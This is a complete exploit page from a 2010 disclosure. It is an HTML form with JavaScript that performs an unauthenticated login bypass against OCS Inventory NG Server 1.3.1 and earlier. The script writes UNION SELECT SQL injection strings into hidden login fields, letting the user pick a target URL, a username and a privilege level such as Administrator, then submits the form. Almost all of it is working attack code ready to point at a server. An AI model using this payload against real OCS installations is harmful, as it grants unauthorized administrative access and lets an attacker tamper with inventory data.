<!--
____________________________________________________________________________________________________
OCS Inventory NG Server <= 1.3.1 (login) Remote Authentication Bypass
____________________________________________________________________________________________________
Software : Open Computer and Software (OCS) Inventory NG
Download : http://www.ocsinventory-ng.org/
Discovered by : Nicolas DEROUET (nicolas.derouet[gmail]com)
Discover : 2010-02-05
Published : 2010-02-17
Version : 1.3.1 and prior (except 1.02.1 to 1.02.3)
Impact : Manipulation of data
Remote : Yes (No authentication is needed)
____________________________________________________________________________________________________
-->
<html>
<head>
<title>OCS Inventory NG <= 1.3.1 (login) Remote Authentication Bypass</title>
<script>
function $(id) { return document.getElementById(id); }
function $$(id) { return $(id).options[$(id).options.selectedIndex].value; }
function bypass()
{
$('log').action = $('ocsreports').value + $$('meth') + '?lang=' + $$('lang');
if ($$('type') == 0)
$('login').value = "' UNION SELECT id, accesslvl, '' FROM operators WHERE id='" + $('user').value;
else
$('login').value = "' UNION SELECT '" + $('user').value + "', '" + $$('type') + "', '";
$('pass').value = "";
if ($$('meth') == 'header.php')
alert('Please go to "' + $('ocsreports').value + '" (or click on the OCS logo) !');
}
</script>
</head>
<body>
<form name="log" id="log" action="#" method="post">
<table align="center" border="0" width="450px">
<tr>
<td><b>OCSReports :</b></td>
<td>
<input type="text" id="ocsreports" size="40" value="http://127.0.0.1/ocsreports/" />
</td>
</tr>
<tr>
<td><b>Version :</b></td>
<td><select id="meth">
<option value="index.php" selected><= 1.02 --- 1.3b2 <=> 1.3b3</option>
<option value="header.php"><= 1.0 (4100) --- 1.3b2 <=> 1.3.1</option>
</select>
</td>
</tr>
<tr>
<td><b>Login :</b></td>
<td><input type="text" id="user" size="40" value="admin" /></td>
</tr>
<tr>
<td><b>Type :</b></td>
<td><select id='type'>
<option value=0>Default (if login exists)</option>
<option value=1>Administrator</option>
<option value=2>User</option>
<option value=3>Local user</option>
</select></td>
</tr>
<tr>
<td><b>Language :</b></td>
<td><select id="lang">
<option value="english" selected>English</option>
<option value="french">French</option>
<option value="german">German</option>
<option value="spanish">Spanish</option>
</select>
</td>
</tr>
<tr>
<td><input type="hidden" name="login" id="login" />
<input type="hidden" name="pass" id="pass" /></td>
<td><input type="submit" name="subLogin" onclick="bypass();"></td>
</tr>
</table>
</form>
</body>
</html>